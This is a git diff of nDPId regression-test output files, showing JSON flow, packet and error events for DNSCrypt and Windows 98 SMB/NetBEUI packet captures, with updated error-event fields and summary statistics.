-00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":564,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739400522705,"pkt":"REREREREZmZmZmZmCABFAABQaQ0AuX4Rb+8KAAABTUJU6QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00760{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":2,"flow_src_last_pkt_time":946739400460550,"flow_dst_last_pkt_time":946739400522927,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"thread_ts_usec":946739400522927,"pkt":"ZmZmZmZmRERERERECABFAADQoa1AADYRp\/25wX\/0CgAAAQG7tOoAvNxR\/I6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANT+QyCeqOpvY3ek9vOTVGrWy3oc27D9SS491oCJRe7RQWKb3q0aPb33Ziq0RP9PPCzRMBy1lW3l6rz74jWgmwszJtIbCS+4i64Fme9c0vB4hxz+sKp41i8d9KRbhVFMbjMm0hsJL7iLAAAAAV9TV8BfVKlA"} 00773{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":2,"flow_src_last_pkt_time":946739400522566,"flow_dst_last_pkt_time":946739400550382,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"thread_ts_usec":946739400550382,"pkt":"ZmZmZmZmRERERERECABFAADcDmgAADYREsJNQlTpCgAAAQG7tDwAyK7NspqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAHTELXM+13EPB+IE+zJ9PQOXdJ7IKBJfAx72Wd7gihP8hRGtsF77cDm0yhz652JqAFc0tI+h6KATFWPKnD7HPQCiR1MNmirJFbpEf5fuBV5xkfCiHCm163IIgp4yvCcsa6NHUw2aKskVX1OfeV9Tn3lfVPD5"} 00773{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":2,"flow_src_last_pkt_time":946739400522562,"flow_dst_last_pkt_time":946739400550417,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"thread_ts_usec":946739400550417,"pkt":"ZmZmZmZmRERERERECABFAADcDmcAADYREsNNQlTpCgAAAQG7waAAyKFlsp6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAHTELXM+13EPB+IE+zJ9PQOXdJ7IKBJfAx72Wd7gihP8hRGtsF77cDm0yhz652JqAFc0tI+h6KATFWPKnD7HPQCiR1MNmirJFbpEf5fuBV5xkfCiHCm163IIgp4yvCcsa6NHUw2aKskVX1OfeV9Tn3lfVPD5"} @@ -1346,15 +1224,9 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":576,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":233,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739402188042,"flow_src_last_pkt_time":946739402188042,"flow_dst_last_pkt_time":946739402188042,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739402188042,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":34024,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_src_last_pkt_time":946739402188042,"flow_dst_last_pkt_time":946739402188042,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739402188042,"pkt":"REREREREZmZmZmZmCABFAAXc1vUgAH4RHSMKAAABF29KzYToAbsGBA8bS8IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":576,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":233,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739402188042,"flow_src_last_pkt_time":946739402188042,"flow_dst_last_pkt_time":946739402188042,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739402188042,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":34024,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":577,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739402188057} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":577,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739402188042,"pkt":"REREREREZmZmZmZmCABFAABQ1vYAuX4RQfUKAAABF29KzQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":578,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739402188062} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":578,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739402188042,"pkt":"REREREREZmZmZmZmCABFAABQ1vUAuX4RQfYKAAABF29KzQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":579,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":234,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739402188092,"flow_src_last_pkt_time":946739402188092,"flow_dst_last_pkt_time":946739402188092,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739402188092,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":60113,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_src_last_pkt_time":946739402188092,"flow_dst_last_pkt_time":946739402188092,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739402188092,"pkt":"REREREREZmZmZmZmCABFAAXc1vcgAH4RHSEKAAABF29KzerRAbsGBKkvS8QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":579,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":234,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739402188092,"flow_src_last_pkt_time":946739402188092,"flow_dst_last_pkt_time":946739402188092,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739402188092,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":60113,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":580,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739402188109} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":580,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739402188092,"pkt":"REREREREZmZmZmZmCABFAABQ1vcAuX4RQfQKAAABF29KzQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":2,"flow_src_last_pkt_time":946739402187997,"flow_dst_last_pkt_time":946739402352103,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739402352103,"pkt":"ZmZmZmZmRERERERECABFAADUpqhAADURe3gXb0rNCgAAAQG76MMAwNUkS8OBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADFMi1FdTWI6xs9AIHJqo\/A+wDfjlj3WkVYnoIQAvOP3ISfoMelOBqvsYElaECIkBkM1KRmWo7IwtwzQE5GK6ICxIfEdneiwuXVbSuJIibtWiAHFQr52HeEOQNDYtX2pkLEh8R2d6LC5QAAAAFfU1VGX1Smxg=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":582,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":2,"flow_src_last_pkt_time":946739402188014,"flow_dst_last_pkt_time":946739402354461,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739402354461,"pkt":"ZmZmZmZmRERERERECABFAADUpqpAADURe3YXb0rNCgAAAQG7rvkAwA7rS8eBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADFMi1FdTWI6xs9AIHJqo\/A+wDfjlj3WkVYnoIQAvOP3ISfoMelOBqvsYElaECIkBkM1KRmWo7IwtwzQE5GK6ICxIfEdneiwuXVbSuJIibtWiAHFQr52HeEOQNDYtX2pkLEh8R2d6LC5QAAAAFfU1VGX1Smxg=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":2,"flow_src_last_pkt_time":946739402188041,"flow_dst_last_pkt_time":946739402354516,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739402354516,"pkt":"ZmZmZmZmRERERERECABFAADUpqtAADURe3UXb0rNCgAAAQG7zzUAwO6vS8aBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADFMi1FdTWI6xs9AIHJqo\/A+wDfjlj3WkVYnoIQAvOP3ISfoMelOBqvsYElaECIkBkM1KRmWo7IwtwzQE5GK6ICxIfEdneiwuXVbSuJIibtWiAHFQr52HeEOQNDYtX2pkLEh8R2d6LC5QAAAAFfU1VGX1Smxg=="} @@ -1658,7 +1530,7 @@ 00925{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":608,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":236,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":946739614386871,"flow_src_last_pkt_time":946739614386871,"flow_dst_last_pkt_time":946739614411248,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":576,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":576,"flow_dst_max_l4_payload_len":240,"flow_src_tot_l4_payload_len":576,"flow_dst_tot_l4_payload_len":240,"midstream":0,"thread_ts_usec":946739861499384,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":38660,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00924{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":608,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":240,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":946739660371388,"flow_src_last_pkt_time":946739660371388,"flow_dst_last_pkt_time":946739660417793,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":576,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":576,"flow_dst_max_l4_payload_len":384,"flow_src_tot_l4_payload_len":576,"flow_dst_tot_l4_payload_len":384,"midstream":0,"thread_ts_usec":946739861499384,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":40958,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00922{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":608,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":245,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":946739861286767,"flow_src_last_pkt_time":946739861286767,"flow_dst_last_pkt_time":946739861499384,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":576,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":576,"flow_dst_max_l4_payload_len":176,"flow_src_tot_l4_payload_len":576,"flow_dst_tot_l4_payload_len":176,"midstream":0,"thread_ts_usec":946739861499384,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":40675,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00596{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":608,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","packets-captured":608,"packets-processed":488,"total-skipped-flows":0,"total-l4-payload-len":289066,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":245,"total-detection-updates":0,"total-updates":200,"current-active-flows":0,"total-active-flows":245,"total-idle-flows":245,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":1661,"global_ts_usec":946739861499384} +00596{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":608,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","packets-captured":608,"packets-processed":488,"total-skipped-flows":0,"total-l4-payload-len":289066,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":245,"total-detection-updates":0,"total-updates":200,"current-active-flows":0,"total-active-flows":245,"total-idle-flows":245,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":1533,"global_ts_usec":946739861499384} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ ~~ packets captured/processed: 608/488 ~~ skipped flows.............: 0 @@ -1671,6 +1543,6 @@ ~~ total memory freed........: 6479369 bytes ~~ total allocations/frees...: 124660/124660 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 231 chars +~~ json string min len.......: 330 chars ~~ json string max len.......: 2491 chars -~~ json string avg len.......: 1361 chars +~~ json string avg len.......: 1410 chars diff --git a/test/results/dos_win98_smb_netbeui.pcap.out b/test/results/dos_win98_smb_netbeui.pcap.out index 7d488eecc..afc3f4bcd 100644 --- a/test/results/dos_win98_smb_netbeui.pcap.out +++ b/test/results/dos_win98_smb_netbeui.pcap.out @@ -1,20 +1,20 @@ 00501{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00564{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1576409796586005} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409796586005} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409796586005,"packet_id":1,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409796586005} 00369{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409796586005,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAACQAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgAw=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409796586078} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409796586078,"packet_id":2,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409796586078} 